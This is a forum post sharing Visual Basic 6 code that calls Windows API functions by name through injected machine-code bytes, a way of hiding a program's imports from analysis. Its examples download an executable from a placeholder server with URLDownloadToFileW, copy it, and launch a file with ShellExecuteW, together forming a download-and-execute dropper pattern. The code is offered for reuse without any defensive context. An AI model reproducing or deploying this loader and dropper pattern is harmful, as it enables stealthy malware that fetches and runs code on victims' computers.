Jump to content
Nytro

[VB6] Call API by name

Recommended Posts

Posted

Call API Function

Credits to Cobein

Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim I As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For I = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)

End Function

Example:

lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)

lRet = CopyFile("C:\test.exe", "c:\test2.exe", False)

Function CopyFile(src As String, dest As String, Optional FailIfDestExists As Boolean) As Boolean
Dim lRet As Long
lRet = CallApiByName("kernel32", "CopyFileW", StrPtr(src), StrPtr(dest), VarPtr(FailIfDestExists))
CopyFile = (lRet > 0)
End Function

msgbox GetSysDir

Function GetSysDir() As String
On Error Resume Next
Dim Location(512) As Byte

Call CallApiByName("kernel32", "GetSystemDirectoryW", VarPtr(Location(0)), 512)
GetSysDir = Left$(Location, InStr(Location, Chr$(0)) - 1)

End Function

Call CallApiByName("kernel32", "Sleep", 1000)

Call CallApiByName("shell32", "ShellExecuteW", 0, 0, StrPtr("C:\file.exe"), 0, 0, 0)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...